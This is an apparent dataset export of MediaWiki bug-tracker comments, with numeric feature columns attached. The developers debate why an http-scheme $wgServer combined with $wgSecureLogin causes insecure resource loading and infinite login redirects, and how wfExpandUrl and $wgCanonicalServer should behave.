After reading up on the history of $wgServer, I tend to agree that setting $wgServer with http:// should mean that you don't have ssl available, so combining that with $wgSecureLogin = true is a conflict. I also think the codebase shouldn't have to identify and make a special case when the conflict occurs, and can assume configs are setup consistently. But, I can't think of anywhere else that we have 2 configuration parameters that can conflict to break the site, although I could definitely be wrong about that.

I would prefer that when 2 configs are in conflict, and they have anything to do with security, we either put up a warning message so the admin knows that they messed up, or we assume the admin really meant to use the more secure one and we try to fix up the conflict. Is there consensus/precedence on which is preferred?",,,1349219970,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,2.0,1.3333333333333333,0.0,0.3333333333333333,0.0,1.6666666666666667,1.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.3333333333333333,4.666666666666667,14.0,0.3333333333333333,3.0,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,7.0,2.6666666666666665,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,13.333333333333334,0.6666666666666666,0.6666666666666666,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,1.3333333333333333,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,5.666666666666667,2.6666666666666665,6.333333333333333,3.6666666666666665,2.6666666666666665,6.666666666666667,0.0,0.0,0.0,0.6666666666666666,6.0,0.0,2.3333333333333335,0.0,5.0,14.0,0.6666666666666666,0.3333333333333333,0.0,0.0,5.0,0.0,2.3333333333333335,1.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,3.9523254523254523,0.7126207126207126,"(In reply to comment #19)
QUOTE
QUOTE

The change in URL on line 152 is what does the redirect. It redirects to the output of wfExpandUrl with PROTO_HTTPS passed in. Since wfExpandUrl returns an http link, the page keeps redirecting.


(In reply to comment #18)
QUOTE

After reading up on the history of $wgServer, I tend to agree that setting $wgServer with http:// should mean that you don't have ssl available, so combining that with $wgSecureLogin = true is a conflict. I also think the codebase shouldn't have to identify and make a special case when the conflict occurs, and can assume configs are setup consistently. But, I can't think of anywhere else that we have 2 configuration parameters that can conflict to break the site, although I could definitely be wrong about that.

I would prefer that when 2 configs are in conflict, and they have anything to do with security, we either put up a warning message so the admin knows that they messed up, or we assume the admin really meant to use the more secure one and we try to fix up the conflict. Is there consensus/precedence on which is preferred?"
189682,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #15)
> There seems to be two related issues. Here are reproduction steps:
> 
> 1) http resources when viewing a page with https:
> * using master from git
> * configure $wgServer to start with 'http:'. I'm using ""http://localhost""
> * view any page over ssl: https://localhost/wiki/index.php/Main_Page
> 
> Result: Most of the css and js resources are loaded from http urls (Chrome
> refuses to load them, IE gives warnings, etc)
> 
> 2) Infinite redirect:
> * using master from git
> * configure $wgServer to start with 'http:'
> * configure $wgSecureLogin = true;
> * On any page, click the ""Log in"" link. The <a> points to an http:// url
> 
> Result: Because Special:UserLogin redirects to https if it detects it is being
> viewed over http, you get an infinite redirect, because the Location header
> points to an http:// url.

2 is a bug, yes. I wonder how that happens. Where does MediaWiki produce a redirect to HTTPS if server includes http://? That should be impossible.",,,1349214188,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,9.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,34.0,4.0,0.0,4.0,0.0,0.0,0.0,1.0,4.0,1.0,3.0,0.0,1.0,5.0,25.0,0.0,0.0,0.0,1.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,3.2987012987012987,0.4805194805194805,"(In reply to comment #15)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

2 is a bug, yes. I wonder how that happens. Where does MediaWiki produce a redirect to HTTPS if server includes URL That should be impossible."
189676,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #17)
> (In reply to comment #12)
> > How is that a security vulnerability? wfExpandUrl is by no means a security
> > measure, and PROTO_HTTPS is nowhere documented nor intended to generate https
> > urls. The argument to wfExpandUrl means the ""preferred protocol if there isn't
> > any"", not the ""protocol that will be used in the url"".
> > 
> > To put it bluntly, if something relies on it  returning on https, then it is
> > plain wrong. If that is the topic of this bug, then afaik we can close this as
> > an invalid bug.
> > 
> > Please describe (or show) the code that is passing PROTO_HTTPS to wfExpandUrl.
> 
> You may be right that something relying on wfExpandUrl to return HTTPS is
> wrong, but there are still many places in the core that do this exactly. Like
> Chris said above, loading default MediaWiki from Git and then going over to
> HTTPS causes all resources to be loaded over an insecure connection. Not only
> is this a usability problem since Chrome will refuse to load those resources,
> but it is a security vulnerability because you now have load.php and api.php
> requests going over an insecure connection, opening up MediaWiki to JS
> injections and leakage of sensitive information. Just because wfExpandUrl isn't
> a security measure does not mean it cannot cause security problems.

This is imho not a bug. It is expected (and imho acceptable) behaviour. For the same reason that we include the configured hostname, we include the configured protocol. Though I agree the following comparison does not relate to SSL, the fact that your issue above does is imho an unrelated coincidence and result of misconfiguration on the administrators part.

Imagine I set up a wiki with wgServer='http://example.org' and then I set up http://localhost/ pointing to the same server. Oh noes, when I access over localhost everything points to example.org. That's not a mediawiki bug, but a configuration issue! Either redirect one to the other, set them up as 2 wikis (e.g. a if/else or switch construct by hostname and configure wgServer and/or wgDBname based on that) or (recommended) make sure the configuration is properly set up for either scenario.

Give me one good reason why anything should work on https://wiki.example.org/ if the wiki is configured and ""told"" by the administrator that it is served from http://wiki.example.org. Fix your configuration?",,,1349214144,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0.0,0.6666666666666666,0.0,1.6666666666666667,1.0,4.333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,3.6666666666666665,10.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,5.0,1.3333333333333333,0.6666666666666666,1.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,11.666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,6.0,2.3333333333333335,13.666666666666666,2.6666666666666665,3.6666666666666665,7.666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,3.0,0.3333333333333333,1.6666666666666667,0.0,4.333333333333333,10.0,7.666666666666667,0.3333333333333333,0.6666666666666666,0.0,4.333333333333333,0.0,1.0,2.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,3.949652267607013,0.6365951611323343,"(In reply to comment #17)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is imho not a bug. It is expected (and imho acceptable) behaviour. For the same reason that we include the configured hostname, we include the configured protocol. Though I agree the following comparison does not relate to SSL, the fact that your issue above does is imho an unrelated coincidence and result of misconfiguration on the administrators part.

Imagine I set up a wiki with wgServer='URL and then I set up URL pointing to the same server. Oh noes, when I access over localhost everything points to example.org. That's not a mediawiki bug, but a configuration issue! Either redirect one to the other, set them up as 2 wikis (e.g. a if/else or switch construct by hostname and configure wgServer and/or wgDBname based on that) or (recommended) make sure the configuration is properly set up for either scenario.

Give me one good reason why anything should work on URL if the wiki is configured and ""told"" by the administrator that it is served from URL Fix your configuration?"
189669,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #12)
> How is that a security vulnerability? wfExpandUrl is by no means a security
> measure, and PROTO_HTTPS is nowhere documented nor intended to generate https
> urls. The argument to wfExpandUrl means the ""preferred protocol if there isn't
> any"", not the ""protocol that will be used in the url"".
> 
> To put it bluntly, if something relies on it  returning on https, then it is
> plain wrong. If that is the topic of this bug, then afaik we can close this as
> an invalid bug.
> 
> Please describe (or show) the code that is passing PROTO_HTTPS to wfExpandUrl.

You may be right that something relying on wfExpandUrl to return HTTPS is wrong, but there are still many places in the core that do this exactly. Like Chris said above, loading default MediaWiki from Git and then going over to HTTPS causes all resources to be loaded over an insecure connection. Not only is this a usability problem since Chrome will refuse to load those resources, but it is a security vulnerability because you now have load.php and api.php requests going over an insecure connection, opening up MediaWiki to JS injections and leakage of sensitive information. Just because wfExpandUrl isn't a security measure does not mean it cannot cause security problems.",,,1349199087,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,1.0,0.5,0.0,0.5,2.5,3.0,3.0,1.5,0.0,0.0,1.0,0.5,0.0,0.5,0.5,0.0,0.0,6.5,11.5,0.5,2.5,0.0,0.5,0.0,0.5,0.5,0.0,0.5,1.0,0.5,1.0,5.5,0.5,1.5,1.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,6.0,0.0,1.0,0.0,0.5,0.0,10.0,0.0,2.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,4.0,4.0,12.5,2.5,3.0,6.0,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,2.5,11.5,8.5,0.0,0.0,0.0,2.5,0.0,0.5,3.5,0.0,3.0,0.0,0.0,0.5,4.315087719298246,0.7153508771929824,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

You may be right that something relying on wfExpandUrl to return HTTPS is wrong, but there are still many places in the core that do this exactly. Like Chris said above, loading default MediaWiki from Git and then going over to HTTPS causes all resources to be loaded over an insecure connection. Not only is this a usability problem since Chrome will refuse to load those resources, but it is a security vulnerability because you now have load.php and api.php requests going over an insecure connection, opening up MediaWiki to JS injections and leakage of sensitive information. Just because wfExpandUrl isn't a security measure does not mean it cannot cause security problems."
189664,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #7)
> The problems we have aren't solved by introducing that, and introducing that
> pattern is already possible without those 2 variables:
> 
> > $wgServer = isHttps() ? 'http://example.org' : 'https://example.org';

This is the route that I think is ugly, but I'm starting to think might be the least evil of the options. I used this:

if ( $wgSecureLogin === true && substr( $wgServer, 0, 7 ) === 'http://' ) {
    $wgServer = substr( $wgServer, 5 );
}",,,1349195969,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,11.0,1.0,3.0,6.0,0.0,0.0,0.0,1.0,3.0,0.0,5.0,0.0,3.0,7.0,3.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,2.7011494252873565,0.5632183908045977,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

This is the route that I think is ugly, but I'm starting to think might be the least evil of the options. I used this:

if ( $wgSecureLogin === true && substr( $wgServer, 0, 7 ) === 'URL ) {
    $wgServer = substr( $wgServer, 5 );
}"
189660,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"There seems to be two related issues. Here are reproduction steps:

1) http resources when viewing a page with https:
* using master from git
* configure $wgServer to start with 'http:'. I'm using ""http://localhost""
* view any page over ssl: https://localhost/wiki/index.php/Main_Page

Result: Most of the css and js resources are loaded from http urls (Chrome refuses to load them, IE gives warnings, etc)

2) Infinite redirect:
* using master from git
* configure $wgServer to start with 'http:'
* configure $wgSecureLogin = true;
* On any page, click the ""Log in"" link. The <a> points to an http:// url

Result: Because Special:UserLogin redirects to https if it detects it is being viewed over http, you get an infinite redirect, because the Location header points to an http:// url.",,,1349194064,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,1.0,0.0,0.0,1.5,0.0,1.5,0.0,1.0,0.0,0.5,0.5,2.5,0.0,0.0,0.5,0.5,0.0,1.0,11.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,0.5,0.5,0.0,1.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,19.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,2.5,9.5,2.0,0.5,6.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.5,11.5,7.0,0.0,4.0,0.0,3.5,0.0,0.5,3.0,0.5,2.0,0.0,0.5,2.0,3.4865934627170585,0.6948416751787538,"There seems to be two related issues. Here are reproduction steps:

1) http resources when viewing a page with https:
* using master from git
* configure $wgServer to start with 'http:'. I'm using ""URL
* view any page over ssl: URL

Result: Most of the css and js resources are loaded from http urls (Chrome refuses to load them, IE gives warnings, etc)

2) Infinite redirect:
* using master from git
* configure $wgServer to start with 'http:'
* configure $wgSecureLogin = true;
* On any page, click the ""Log in"" link. The <a> points to an http:// url

Result: Because Special:UserLogin redirects to https if it detects it is being viewed over http, you get an infinite redirect, because the Location header points to an http:// url."
189656,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #13)
> My general feeling is that whenever $wgServer is mentioned (in discussions or
> in code), it's always a guessing game with its value is. HTTP, HTTPS,
> protocol-relative? And this guessing game has a cost. An alternative approach
> is to be explicit in the variable name itself, so that there's less ambiguity.
> 

I don't see the problem here. $wgServer is a configuration variable to set how MediaWiki should represent self-reference urls. If only HTTP or HTTPS is supported (most common) it is set to one of those. Having a $wgHTTPSServer variable doesn't make sense. What would you set it to if a server only supports HTTP, I guess you'll have to set it to http:// then because the server doesn't have https. And what if both are supported (like on Wikipedia), which does it use in the parser? Neither, because those urls can (and should be) without protocol so that they are relatively interpreted by the browser, because the visitor can be on either http or https.

$wgServer indicates what the server supports. http, https or both.

And in most cases $wgServer can/should be used as-is (without trying to expand it). And if a server preference is needed, then it can be ran through wfExpandUrl (e.g. for wgSecureLogin it will expand to HTTPS if the server supports that. Obviously if the server doesn't support HTTPS it shouldn't try to link there as it would be a broken link pointing to a server error. And if you don't support HTTPS, well, then it doesn't make sense to enable wgSecureLogin. Either way enabling wgSecureLogin when not supported is harmless afaik, it simply maintains http as it would other wise).

Before we get into a very generic discussion, what is the actual bug here? What is the problem? How to reproduce this redirect problem?",,,1349159713,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0.0,0.0,0.25,1.75,2.25,2.25,1.75,0.75,0.0,1.75,1.75,2.0,0.25,0.5,0.0,0.75,0.0,7.0,10.25,0.0,1.75,1.0,0.25,0.0,0.0,0.0,0.0,0.0,1.0,1.25,0.5,6.5,1.25,3.25,0.75,0.75,0.0,0.25,0.0,0.0,0.0,0.25,0.0,0.5,0.25,0.0,0.0,0.0,0.0,12.75,0.5,0.75,1.0,0.5,0.0,0.0,0.0,0.0,1.25,0.25,0.25,2.0,0.0,0.25,0.0,0.25,0.25,4.5,4.0,7.5,4.0,2.5,6.75,0.0,0.0,0.0,0.25,6.5,0.5,0.5,0.0,5.0,10.25,2.75,1.25,0.0,0.0,5.0,0.0,2.5,2.0,0.0,1.0,0.0,0.5,0.0,3.8440228846732913,0.711645588678109,"(In reply to comment #13)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't see the problem here. $wgServer is a configuration variable to set how MediaWiki should represent self-reference urls. If only HTTP or HTTPS is supported (most common) it is set to one of those. Having a $wgHTTPSServer variable doesn't make sense. What would you set it to if a server only supports HTTP, I guess you'll have to set it to http:// then because the server doesn't have https. And what if both are supported (like on Wikipedia), which does it use in the parser? Neither, because those urls can (and should be) without protocol so that they are relatively interpreted by the browser, because the visitor can be on either http or https.

$wgServer indicates what the server supports. http, https or both.

And in most cases $wgServer can/should be used as-is (without trying to expand it). And if a server preference is needed, then it can be ran through wfExpandUrl (e.g. for wgSecureLogin it will expand to HTTPS if the server supports that. Obviously if the server doesn't support HTTPS it shouldn't try to link there as it would be a broken link pointing to a server error. And if you don't support HTTPS, well, then it doesn't make sense to enable wgSecureLogin. Either way enabling wgSecureLogin when not supported is harmless afaik, it simply maintains http as it would other wise).

Before we get into a very generic discussion, what is the actual bug here? What is the problem? How to reproduce this redirect problem?"
189653,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #10)
> (In reply to comment #7)
>> There is no need to have two variables.
> 
> Except if you want to have different URLs for HTTP and HTTPS, I think that was
> MZ was after.

That's one use-case, yes. I think secure.example.com is still fairly common, but I'm personally not too concerned with this.

My general feeling is that whenever $wgServer is mentioned (in discussions or in code), it's always a guessing game with its value is. HTTP, HTTPS, protocol-relative? And this guessing game has a cost. An alternative approach is to be explicit in the variable name itself, so that there's less ambiguity.

And there seems to be more and more of a reliance (in code) on the principle that http/https will be equivalent, but again, I'm not too concerned with this.

> As you might have guessed, $wgCanonicalServer is currently set to
> ""http:$wgServer"" on WMF wikis. I deliberately designed it so it could be
> switched to https later, that's why it's separate from $wgInternalServer (used
> for Squid purges, will still need to be http).

Thank you for explaining this.",,,1349157495,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0.0,0.0,0.0,0.5,1.0,6.5,2.5,0.0,0.0,0.0,2.5,1.0,0.0,0.0,1.0,2.0,0.5,6.0,10.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,2.0,1.5,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,13.0,2.5,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.5,4.5,11.5,3.0,3.5,6.5,0.0,0.0,0.0,0.5,2.5,0.5,1.0,0.0,4.5,10.0,4.5,0.5,0.0,0.0,4.5,0.0,0.5,2.5,0.5,0.5,2.0,0.0,0.0,3.6303261827799,0.7030561269468116,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's one use-case, yes. I think secure.example.com is still fairly common, but I'm personally not too concerned with this.

My general feeling is that whenever $wgServer is mentioned (in discussions or in code), it's always a guessing game with its value is. HTTP, HTTPS, protocol-relative? And this guessing game has a cost. An alternative approach is to be explicit in the variable name itself, so that there's less ambiguity.

And there seems to be more and more of a reliance (in code) on the principle that http/https will be equivalent, but again, I'm not too concerned with this.

QUOTE
QUOTE
QUOTE
QUOTE

Thank you for explaining this."
189649,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #11)
> The primary problem right now is that there exists a case where giving
> PROTO_HTTPS to wfExpandUrl() does not give an HTTPS uri. This is a security
> vulnerability, as well as the root for possible bugs. So the main question is:
> why does wfExpandUrl do this, and what will happen if we change it?

How is that a security vulnerability? wfExpandUrl is by no means a security measure, and PROTO_HTTPS is nowhere documented nor intended to generate https urls. The argument to wfExpandUrl means the ""preferred protocol if there isn't any"", not the ""protocol that will be used in the url"".

To put it bluntly, if something relies on it  returning on https, then it is plain wrong. If that is the topic of this bug, then afaik we can close this as an invalid bug.

Please describe (or show) the code that is passing PROTO_HTTPS to wfExpandUrl.",,,1349156037,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0.5,1.0,0.0,1.5,1.0,2.0,2.5,0.0,0.0,2.0,2.0,0.5,0.0,0.0,0.5,1.0,0.0,5.0,10.5,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,0.0,5.5,2.0,2.5,1.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,1.5,0.0,11.0,1.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,5.5,5.0,7.0,3.0,2.0,9.0,0.0,0.0,0.0,0.5,5.5,1.0,1.5,0.0,3.0,10.5,1.0,0.5,2.5,0.0,3.0,0.0,2.0,2.0,0.0,1.5,0.0,0.0,0.0,3.757575757575758,0.7121212121212122,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE

How is that a security vulnerability? wfExpandUrl is by no means a security measure, and PROTO_HTTPS is nowhere documented nor intended to generate https urls. The argument to wfExpandUrl means the ""preferred protocol if there isn't any"", not the ""protocol that will be used in the url"".

To put it bluntly, if something relies on it  returning on https, then it is plain wrong. If that is the topic of this bug, then afaik we can close this as an invalid bug.

Please describe (or show) the code that is passing PROTO_HTTPS to wfExpandUrl."
189644,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"The primary problem right now is that there exists a case where giving PROTO_HTTPS to wfExpandUrl() does not give an HTTPS uri. This is a security vulnerability, as well as the root for possible bugs. So the main question is: why does wfExpandUrl do this, and what will happen if we change it?",,,1349155016,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,13.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,5.0,8.0,7.0,2.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,8.0,3.0,2.0,0.0,0.0,3.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,3.9508196721311477,0.8524590163934426,"The primary problem right now is that there exists a case where giving PROTO_HTTPS to wfExpandUrl() does not give an HTTPS uri. This is a security vulnerability, as well as the root for possible bugs. So the main question is: why does wfExpandUrl do this, and what will happen if we change it?"
189637,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #7)
> There is no need to have two variables.
Except if you want to have different URLs for HTTP and HTTPS, I think that was MZ was after.

> The problems we have aren't solved by introducing that, and introducing that
> pattern is already possible without those 2 variables:
> 
> > $wgServer = isHttps() ? 'http://example.org' : 'https://example.org';
> 
> We don't need the other value anyway when in the other request type.
> 
That doesn't actually work, it causes pollution of the parser cache, see my previous comment.

> Except that we do, which is why we have a canonical protocol for API responses.
To expand on this: we have $wgCanonicalServer, which is a fully-qualified (i.e. with protocol) version of $wgServer that is used when building URLs that will be used outside of the context of an HTTP(S) request, or where using protocol-relative URLs won't work or doesn't make sense for some other reason. The typical examples of this is are URLs in notification e-mails and in the recentchanges IRC feeds. In the API, we resolve protocol-relative URLs using the protocol of the current request, and we split the API Squid cache by protocol for this reason; $wgCanonicalServer only comes into play when dealing with things like the externallinks table (see below).

$wgCanonicalServer is used in two different ways:
* when building URLs to wiki pages, or expanding URLs like /wiki/Foo , the URL is prefixed with $wgCanonicalServer instead of $wgServer
* when we encounter a protocol-relative URL that came from somewhere else (e.g. externallinks table in the API), we use $wgCanonicalServer to decide which protocol to put on it

As you might have guessed, $wgCanonicalServer is currently set to ""http:$wgServer"" on WMF wikis. I deliberately designed it so it could be switched to https later, that's why it's separate from $wgInternalServer (used for Squid purges, will still need to be http).

As for actual plans to switch the canonical protocol to HTTPS, that's a question for Ryan. In the meantime, Chris's cookie-based redirection feature should reduce the annoyance of HTTP links in e-mail notifications, because people that receive these e-mails are usually logged in when they receive them, so they'll automatically be redirected to HTTPS.",,,1349148037,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,0.2,0.0,0.2,1.6,0.6,4.0,0.2,0.2,0.0,0.2,3.0,0.8,0.0,0.2,0.0,1.6,0.0,5.6,11.4,0.0,1.6,0.2,0.0,0.2,1.0,0.0,0.0,0.4,0.4,0.6,0.2,5.2,1.6,1.0,0.6,0.4,0.0,0.2,0.2,0.8,0.0,0.8,0.2,1.6,0.0,0.0,0.0,0.8,0.0,13.4,1.2,0.4,0.2,0.0,0.0,0.0,0.0,0.2,0.4,0.0,0.0,1.6,0.0,0.2,0.0,1.0,0.2,3.8,3.0,9.6,2.6,1.2,6.0,0.0,0.0,0.0,0.2,3.8,0.0,0.4,0.0,3.8,11.4,4.8,0.0,0.4,0.0,3.8,0.0,2.8,0.8,0.2,1.2,0.0,0.0,0.2,4.020092592592593,0.7326543209876543,"(In reply to comment #7)
QUOTE
Except if you want to have different URLs for HTTP and HTTPS, I think that was MZ was after.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
That doesn't actually work, it causes pollution of the parser cache, see my previous comment.

QUOTE
To expand on this: we have $wgCanonicalServer, which is a fully-qualified (i.e. with protocol) version of $wgServer that is used when building URLs that will be used outside of the context of an HTTP(S) request, or where using protocol-relative URLs won't work or doesn't make sense for some other reason. The typical examples of this is are URLs in notification e-mails and in the recentchanges IRC feeds. In the API, we resolve protocol-relative URLs using the protocol of the current request, and we split the API Squid cache by protocol for this reason; $wgCanonicalServer only comes into play when dealing with things like the externallinks table (see below).

$wgCanonicalServer is used in two different ways:
* when building URLs to wiki pages, or expanding URLs like /wiki/Foo , the URL is prefixed with $wgCanonicalServer instead of $wgServer
* when we encounter a protocol-relative URL that came from somewhere else (e.g. externallinks table in the API), we use $wgCanonicalServer to decide which protocol to put on it

As you might have guessed, $wgCanonicalServer is currently set to ""http:$wgServer"" on WMF wikis. I deliberately designed it so it could be switched to https later, that's why it's separate from $wgInternalServer (used for Squid purges, will still need to be http).

As for actual plans to switch the canonical protocol to HTTPS, that's a question for Ryan. In the meantime, Chris's cookie-based redirection feature should reduce the annoyance of HTTP links in e-mail notifications, because people that receive these e-mails are usually logged in when they receive them, so they'll automatically be redirected to HTTPS."
189629,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #0)
> When $wgServer has a scheme, i.e., it is not protocol-relative, which happens
> to be the default, wfExpandUrl( ..., PROTO_HTTPS ) will give an HTTP link. This
> causes ResourceLoader content to be loaded over an insecure connection. It also
> causes redirect loops when redirecting to HTTPS using wfExpandUrl.

If your server supports HTTPS and redirects HTTP to HTTPS, why set $wgServer to an HTTP protocol? I'd say set it to HTTPS, or protocol-relative if you want to support both. This doesn't make sense..

wfExpandUrl only expands the url, never changes it. If it contains http:// that is left alone, because users tend to set http for a reason, indicating it doesn't support https. Otherwise there is no reason to set it to http. 

(In reply to comment #5)
> (In reply to comment #2)
> > Moreover, doesn't setting $wgServer to an HTTP URL result in HTTP URLs
> > appearing in articles, even when viewing them over HTTPS?
> 
> Yes, almost all links to load.php and api.php urls are full urls that start
> with http://.

That is, if $wgServer is set to a http://server

